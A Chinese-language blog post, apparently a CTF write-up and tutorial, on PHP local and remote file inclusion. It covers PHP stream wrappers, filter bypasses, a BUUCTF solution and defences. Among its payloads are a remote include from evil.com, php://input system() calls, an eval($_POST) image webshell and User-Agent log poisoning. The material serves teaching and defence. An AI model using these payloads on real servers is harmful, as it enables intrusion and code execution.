PHP文件包含漏洞实战:从原理到利用与防御

发布时间:2026/7/12 7:35:31
PHP文件包含漏洞实战:从原理到利用与防御 1. 项目概述一次关于文件包含漏洞的深度实战复盘最近在带新人刷BUUCTF的Web题目发现很多朋友对“文件包含漏洞”这个概念的理解还停留在“能读文件”的层面实战中遇到稍微有点变化的题目就无从下手。正好我们团队内部复盘时以一道经典的“Secret File”题目为引子系统梳理了文件包含漏洞的三种核心实战利用姿势并深入拆解了PHP伪协议这个“瑞士军刀”的每一个细节。今天我就把这些从一线实战中总结出来的经验、踩过的坑以及那些官方文档里不会写的技巧毫无保留地分享出来。无论你是正在入门CTF的Web安全新手还是想巩固漏洞原理的开发者这篇复盘都能让你对文件包含有一个全新的、立体的认识。“文件包含漏洞”的本质是程序在引入外部文件时由于对用户输入的控制不严导致攻击者可以操纵包含路径从而读取敏感文件、执行任意代码甚至获取服务器权限。在CTF赛题和真实渗透测试中它都是高频考点和高危漏洞。而PHP伪协议则是利用该漏洞时最强大、最灵活的工具集。理解它们不仅是解题的关键更是构建安全代码意识的基础。2. 漏洞原理与核心函数深度解析2.1 文件包含漏洞的根源灵活性与安全性的失衡文件包含漏洞的产生根源在于开发中一个非常常见的需求代码复用。为了提高开发效率我们常常会把一些公共的函数、配置或模板单独写成文件然后在需要的地方“包含”进来。PHP提供了include、require、include_once、require_once这四个函数来实现这个功能。问题就出在这个“包含”的动作上。在理想的安全模型中被包含的文件路径应该是硬编码在代码里的固定字符串比如include(‘./config.php’);。但实际开发中为了增加程序的灵活性比如根据用户选择加载不同的主题模板开发者往往会将文件路径设置为一个变量而这个变量的值可能来自于用户输入比如$_GET[‘page’]。// 危险代码示例典型的文件包含漏洞 $page $_GET[page]; // 用户可控输入 include($page . ‘.php’); // 直接包含未做任何过滤当攻击者能够控制这个$page变量时他就不再局限于加载程序预设的about.php或contact.php。他可以尝试跳目录../../../etc/passwd可以包含远程服务器上的恶意脚本http://evil.com/shell.txt更可以利用PHP伪协议执行各种神奇的操作。服务器端如果没有对输入进行严格的校验如白名单过滤、路径校验或校验被绕过漏洞就产生了。这里有一个非常重要的实操心得不要仅通过后缀名来判断安全。很多开发者会做str_replace(‘.php’, ‘’, $input)或者检查后缀是否为.php认为这样就安全了。但在文件包含的语境下被包含的文件内容会被当作PHP代码执行无论它的后缀是什么。哪怕你包含了一个logo.jpg如果这个图片文件的开头被人为插入了?php phpinfo(); ?这段代码同样会被执行。这就是“文件包含”与“文件读取”的本质区别。2.2. 四大包含函数的行为差异与利用影响虽然四个函数都能引发漏洞但它们在错误处理上的细微差别有时会影响我们的利用方式。include()vsrequire()这是最核心的区别。include()在包含失败时如文件不存在只会产生一个E_WARNING级别的警告脚本会继续执行。而require()在失败时会产生一个E_COMPILE_ERROR级别的致命错误脚本会停止执行。在CTF中如果我们尝试包含一个不存在的文件来触发错误、泄露路径信息使用include()的页面可能会继续显示后续内容而require()则可能直接导致页面空白这可以作为我们判断后端函数的一个小技巧。_once后缀的作用include_once()和require_once()会检查该文件是否已经被包含过如果是则不会再次包含。这在利用漏洞进行“竞争条件”攻击或重复包含某些初始化脚本时可能会成为一个需要考虑的因素但在大多数基础利用场景下我们可以暂时忽略这个差异。在实战中我们通常通过报错信息、页面行为来反推使用的是哪个函数但更关键的是确认存在包含点至于具体是哪个函数对于初步利用影响不大。2.3. 本地包含与远程包含条件与边界根据被包含文件的位置漏洞分为两类本地文件包含包含服务器本地文件系统上的文件。这是最常见的情况。利用方式主要是路径遍历读取敏感文件如/etc/passwd,./config.php,../application/credentials.ini和配合文件上传获取Webshell上传一个图片马然后包含它。远程文件包含包含远程服务器如http://, ftp://上的文件。这需要更苛刻的服务器配置条件allow_url_fopen On默认常为On允许打开远程文件allow_url_include On默认通常为Off允许包含远程文件注意在PHP高版本5.2中allow_url_include默认是关闭的因此远程包含在实际环境中比本地包含要少见得多。但在CTF题目中为了考察知识点可能会特意开启这个选项。判断是否可以远程包含一个简单的方法是尝试包含一个已知的、无害的远程URL观察是否被执行或报错。本地包含的杀伤力已经足够大因为攻击者可以通过各种技巧“创造”出可执行的文件。例如利用PHP的php://input流直接执行POST过去的代码或者利用php://filter进行编码转换绕过死亡代码这都无需依赖RFI。因此我们的重点应该放在LFI的深度利用上。3. PHP伪协议详解漏洞利用的“武器库”PHP伪协议是PHP内置的一套用于访问各种输入/输出流的封装协议。在文件包含漏洞的利用中它们扮演着“魔法棒”的角色能将简单的文件读取转化为代码执行、信息泄露。下面我们逐一拆解最常用的几个。3.1 php://filter —— 读取文件的神器这是CTF中最常用、最经典的伪协议主要用于读取文件内容尤其是当直接包含文件会导致代码执行而看不到源码时。基本语法php://filter/read过滤器链/resource目标文件过滤器链可以对流的数据进行一系列处理如编码、转换。resource指定要读取的文件。为什么需要base64编码想象一下你直接包含index.php服务器会把它当作PHP脚本执行你只能在浏览器里看到执行后的HTML输出而看不到背后的?php $flag“secret”; ?这样的源代码。convert.base64-encode过滤器的作用就是将文件内容进行base64编码。编码后的内容不再是有效的PHP代码因此不会被解释执行而是以文本形式原样输出。我们拿到这段base64字符串解码后就能获得完整的源代码。实战Payload示例?filephp://filter/readconvert.base64-encode/resourceindex.php这个Payload会读取当前目录下的index.php文件并将其内容进行base64编码后输出。过滤器链的进阶玩法php://filter支持多个过滤器串联实现复杂操作。例如有时题目会过滤掉“base64”关键字。我们可以尝试用其他编码或者组合使用convert.iconv.*进行字符集转换有时可以绕过一些简单的过滤。string.rot13进行ROT13编码?php会被编码为?cuc可能绕过对?php标签的检查。多重编码readconvert.base64-encode|convert.base64-encode/resource...进行两次编码用于绕过一些简单的解码检查。实操心得遇到php://filter被过滤的情况不要轻易放弃。尝试大小写混淆PHP://FilTer、双写绕过phphp://filter如果过滤替换为空、或者使用php的短标签?配合其他过滤器。我曾遇到过一道题过滤了resource但可以用php://filter/convert.base64-encode/.../../../index.php这种省略resource的写法依赖特定PHP版本或配置成功读取。3.2 php://input —— 直接代码执行的通道这是一个极其强大的协议它允许你访问请求的原始主体数据。当allow_url_include开启时它可以被include函数执行这意味着我们可以直接传递PHP代码给它执行。基本用法将参数指向php://input例如?filephp://input。在POST Body中直接写入你想要执行的PHP代码。实战示例GET /vuln.php?filephp://input HTTP/1.1 ... POST Body: ?php system(ls -la); ?服务器端的include(“php://input”)会读取POST数据流并将其中的?php system(‘ls -la’); ?当作PHP文件来执行从而列出当前目录。利用场景与限制场景当目标过滤了特殊字符如.、/导致无法进行路径遍历或者无法上传文件时php://input提供了一种“无文件”的代码执行方式。限制最大的限制就是需要allow_url_includeOn。此外由于数据通过POST传递在浏览器地址栏无法直接构造必须使用Burp Suite、HackBar或Python requests库等工具。踩坑记录注意enctype。如果表单或请求的Content-Type是multipart/form-dataphp://input是无效的因为它无法读取这种格式的原始数据。确保你的请求是application/x-www-form-urlencoded或text/plain。3.3 data:// —— 内联数据流封装器data协议可以将一段数据通常是经过编码的内联地当作一个文件流来使用。它像是php://input的一个“快捷方式”允许你将代码直接写在URL里。基本语法data://MIME类型[,编码];base64,base64编码的数据常用形式data://text/plain,?php phpinfo();?或更安全的data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8与 php://input 的对比data://代码直接编码在URL的GET参数中使用方便无需额外工具构造POST请求。php://input代码放在POST Body中相对更隐蔽且不受URL长度限制可以执行更复杂的代码。实战技巧当php://被关键词过滤时data://是一个很好的备选方案。但要注意data://同样依赖于allow_url_include配置。它的一个妙用是可以绕过某些对?php标签的过滤。例如你可以使用短标签?或者利用data://text/plain,后面直接跟代码有时不加?php ?标签也能被成功执行取决于PHP配置中的short_open_tag等设置。3.4 其他有用协议概览file://访问本地文件系统的标准协议。在文件包含中?filefile:///etc/passwd和?file../../../etc/passwd效果类似。但在某些严格限制了路径穿越的场景下显式使用file://协议可能能绕过简单的字符串匹配过滤。phar://用于访问PHARPHP归档文件内部的子文件。它有一个惊人的特性即使文件后缀是.jpg或.txt只要其内容是一个有效的PHAR归档phar://协议就能解析并执行其中的stub存根PHP代码。这常与文件上传结合制作一个包含恶意代码的图片PHAR包上传后通过phar://./upload/evil.jpg/shell.php来包含执行。zip://与phar://类似用于访问ZIP压缩包内的文件。用法zip://[压缩文件绝对路径]#[压缩包内文件路径]。例如zip:///var/www/uploads/evil.zip%23shell.php注意#需要URL编码为%23。4. 三种实战利用姿势深度剖析理解了原理和武器我们来看如何组合运用。以BUUCTF的“Secret File”类题目为蓝本我将其常见的三种出题思路和破解方法总结如下。4.1 姿势一基础读取与源码泄露这是最直接的考察方式。题目通常有一个明显的文件包含参数并且没有过滤php://filter。目标就是读取关键的源码文件如index.php,flag.php,config.php来找到flag。解题步骤识别包含点观察URL如?pageabout尝试修改为?page../../../../etc/passwd看是否出现系统文件内容确认漏洞存在。使用filter协议读取源码直接构造Payload?pagephp://filter/readconvert.base64-encode/resourceindex.php。解码与分析将返回的base64字符串解码得到源代码。在源码中搜索flag,$FLAG,ctf,key等关键词。路径探测如果直接包含当前目录文件失败可能需要目录穿越。利用../进行猜测或结合php://input执行system(“pwd; ls -la”)来探明当前路径和目录结构。避坑技巧有时题目会限制包含文件的后缀比如自动添加.php。这时可以尝试使用%00空字节截断仅限PHP5.3.4或利用超长路径截断但在现代PHP环境中更可靠的方法是让我们的Payload本身以一个“伪后缀”结束例如?pagephp://filter/readconvert.base64-encode/resourceflag.php/./././末尾的/在某些环境下可能导致解析异常或者直接利用协议本身后缀添加不影响协议解析。如果base64被过滤尝试convert.iconv.UTF-8.UTF-16LE等字符集转换过滤器输出结果虽然乱码但有时能从中找到flag的蛛丝马迹。4.2 姿势二协议嵌套与编码绕过题目开始增加难度对php://,data://,../等关键词进行过滤或替换。这时就需要利用协议的特性、编码技巧和字符串处理函数的特点进行绕过。常见过滤与绕过方法关键词过滤如str_replace双写绕过如果过滤方式是str_replace(“php://”, “”, $input)那么输入phphp://://经过替换后中间的php://被移除两边的部分拼接起来正好又是php://。大小写绕过PHP://,Php://某些简单的过滤可能对大小写不敏感。使用其他协议php://被过滤尝试data://或phar://。利用编码php://filter可以嵌套多层过滤器如php://filter/convert.base64-decode/resourcephp://filter/readconvert.base64-encode/resourceindex.php这种复杂的结构有时能绕过简单的正则匹配。路径遍历过滤如过滤../绝对路径尝试直接使用绝对路径如/var/www/html/flag.php需要猜解或信息泄露。URL编码../可以编码为%2e%2e%2f或..%2f。双重编码%252e%252e%252f服务器解码两次。非标准路径表示在Windows环境下尝试..\在Linux下单个.表示当前目录但用处不大。死亡代码与?php ?标签过滤 当使用data://或php://input执行代码时如果标签被过滤可以尝试短标签? system(‘ls’); ?需要short_open_tagOn。script language”php”这种古老标签在某些环境下仍有效。不使用标签直接输入echo “test”;。这取决于PHP的allow_url_include和配置有时可以执行。实战案例模拟 假设题目代码如下$page $_GET[‘p’]; $page str_replace(array(‘../‘, ‘php://‘, ‘data://‘), ‘’, $page); include($page . ‘.html’);绕过思路使用双写绕过php://。构造Payload?pphphp://://input。经过替换后中间的php://被删掉剩下php://input。然后通过POST传递代码即可。4.3 姿势三结合文件上传与日志污染这是最接近真实渗透的利用方式。当无法直接通过协议执行代码且服务器有文件上传功能时我们可以将恶意代码写入服务器上一个已有的、我们可预测内容的文件中然后去包含它。利用链文件上传 本地包含 Getshell经典图片马上传一个包含Webshell代码的图片文件如shell.jpg内容为?php eval($_POST[‘cmd’]);?。然后通过文件包含漏洞包含这个图片?file./uploads/shell.jpg。只要图片内容被当作PHP解析Webshell就生效了。日志文件包含这是非常经典的一种手法。Web服务器如Apache, Nginx的访问日志会记录每一条请求包括User-Agent、Referer等头部字段。如果我们能控制这些字段就可以将PHP代码写入日志文件。步骤 a. 找到日志文件路径通常为/var/log/apache2/access.log/var/log/nginx/access.log或通过报错信息、phpinfo()页面泄露。 b. 构造一个请求在User-Agent中携带PHP代码User-Agent: ?php system($_GET[‘c’]); ?。 c. 利用文件包含漏洞去包含这个日志文件?file/var/log/apache2/access.logcls。难点日志文件通常很大包含可能导致超时或内存溢出。可以尝试先写入代码然后立即包含或者利用tail命令的原理包含日志文件的末尾部分。其他可污染的文件/proc/self/environ在Linux中这个文件包含了当前进程的环境变量。如果PHP以CGI模式运行我们可以通过修改HTTP请求中的某些头部如User-Agent来影响环境变量从而将代码写入此文件再包含它。但现在这种利用方式已较少见。Session文件PHP的Session文件通常位于/tmp/sess_[PHPSESSID]内容部分可控。我们可以通过设置$_SESSION[‘payload’] ‘?php code; ?’然后去包含这个Session文件。难点在于需要知道Session文件的完整路径和名称。核心心法这种姿势的精髓在于“创造”或“污染”一个服务器上已有的、内容部分可控的文件然后将包含的指针指向它。关键在于信息收集找到可写、可预测位置的文件路径。5. 从“Secret File”到实战完整解题流程复盘现在让我们把上述所有知识串联起来模拟一个BUUCTF“Secret File”类型的综合题目解题过程。假设题目入口是一个简单的页面有一个链接指向secr3t.php。第一步信息收集与漏洞探测访问secr3t.php发现URL为secr3t.php?filesecret.txt页面显示了一段文本。尝试修改file参数?file../../../../etc/passwd。页面返回了系统的/etc/passwd文件内容确认存在本地文件包含漏洞。尝试?filephp://input并用POST发送?php phpinfo();?发现没有执行可能allow_url_include为Off或者php://被过滤。第二步源码读取与代码审计使用最可靠的php://filter读取secr3t.php自身源码?filephp://filter/readconvert.base64-encode/resourcesecr3t.php。解码得到源码?php error_reporting(0); $file $_GET[‘file’]; if(stristr($file, “../“) ! false || stristr($file, “tp”) ! false || stristr($file, “input”) ! false || stristr($file, “data”) ! false){ die(“Hacker!”); } include($file . “.txt”); ?代码分析过滤了../(路径遍历)、tp(可能想过滤http和ftp)、input、data。包含文件后会自动添加.txt后缀。关键发现过滤了php://中的tp但php://filter中的filter没有被过滤stristr($file, “tp”)会在$file中查找子串”tp”php://filter包含”tp”所以会被阻断。但是php://本身不包含”tp”吗包含php://。等等这里有个逻辑问题。php://包含”p://”不包含”tp”这个连续的字符串。stristr是查找子串php://中没有”tp”这个子串。所以php://filter可能没有被过滤这是一个常见的出题人逻辑漏洞。我们测试一下。第三步绕过过滤与利用尝试Payload?filephp://filter/readconvert.base64-encode/resourceflag。服务器会拼接成php://filter/readconvert.base64-encode/resourceflag.txt去包含。但我们的目的是读取flag.php而不是flag.txt。我们需要读取flag.php。由于后缀被强制添加.txt直接包含flag.php会变成flag.php.txt文件不存在。我们需要一个方法让resource后面的部分不被添加.txt或者让.txt变得无害。利用php://filter的特性resource参数可以是一个路径。我们可以尝试目录穿越?filephp://filter/readconvert.base64-encode/resource./flag.php。拼接后为php://filter/readconvert.base64-encode/resource./flag.php.txt。这仍然不对。关键技巧在php://filter的路径中可以使用#井号或?问号来截断后面的参数。在某些PHP版本和配置下?后的内容会被当作查询字符串不被当作文件路径的一部分。尝试?filephp://filter/readconvert.base64-encode/resourceflag.php?。拼接后为php://filter/readconvert.base64-encode/resourceflag.php?.txt。这样服务器可能会将?.txt视为查询字符串实际读取flag.php。如果不行尝试#需要URL编码为%23resourceflag.php%23。构造最终Payload?filephp://filter/readconvert.base64-encode/resourceflag.php%23。发送请求。成功获取到一串base64编码的字符串解码后得到flag.php的源码其中包含flag?php $flag“BUUCTF{F1L3_1nCluS10n_1s_Fun}”; ?。第四步总结与拓展这道题考察了基础文件包含漏洞的发现。源码审计与过滤逻辑分析stristr的精确匹配。php://filter协议的使用。后缀强制添加的绕过技巧使用?或#截断。在真实环境中修复此类漏洞的方案包括使用白名单严格限制包含的文件名设置open_basedir限制文件访问目录关闭不必要的危险配置allow_url_include对动态包含路径进行严格的合法性校验等。6. 防御策略与安全开发建议作为开发者如何避免引入文件包含漏洞作为安全人员如何发现和报告这类漏洞这里给出一些切实可行的建议。给开发者的防御方案白名单制度最有效不要使用用户输入直接作为包含路径。如果必须动态包含应预先定义好允许包含的文件列表白名单然后进行严格匹配。$allowed_pages array(‘home’, ‘about’, ‘contact’); $page $_GET[‘page’]; if(in_array($page, $allowed_pages)){ include(‘./templates/’ . $page . ‘.php’); } else { include(‘./templates/404.php’); }固定目录与后缀将被包含文件限制在某个特定目录下并固定后缀名。$base_dir ‘/var/www/html/includes/’; $page basename($_GET[‘page’]); // 去除路径部分只保留文件名 $file $base_dir . $page . ‘.inc.php’; if(file_exists($file) is_file($file)){ include($file); }禁用危险配置在php.ini中确保以下配置为Offallow_url_fopen Off根据业务需求权衡allow_url_include Off强烈建议关闭设置 open_basedir在php.ini或虚拟主机配置中使用open_basedir指令将PHP可访问的文件限制在网站根目录及其必要子目录下防止跨目录访问。给安全人员的排查要点黑盒测试参数探测对所有接收参数GET, POST, Cookie尝试进行文件包含测试特别是像file,page,template,load这类名称的参数。基础Payload尝试../../../../etc/passwd,php://filter/resource/etc/passwd。协议探测尝试php://input(POST数据),data://text/plain,test。错误信息观察包含不存在的文件时的报错信息可能泄露绝对路径。白盒审计代码审计搜索危险函数在代码中全局搜索include,require,include_once,require_once。跟踪变量检查这些函数的参数是否是动态变量并向上回溯该变量的来源是否最终来自用户输入$_GET,$_POST,$_COOKIE,$_REQUEST。检查过滤逻辑查看对用户输入是否有过滤过滤是否严格白名单优于黑名单是否存在绕过可能如大小写、双写、编码。检查配置检查代码中是否使用ini_set动态开启了allow_url_include。文件包含漏洞的利用方式多样防御也需要从配置、代码逻辑多个层面进行。理解攻击者的每一种“姿势”才能更好地构筑防线。希望这篇从一道CTF题引发的深度复盘能帮你建立起对文件包含漏洞立体而实战化的认知。在安全的世界里知其然更要知其所以然。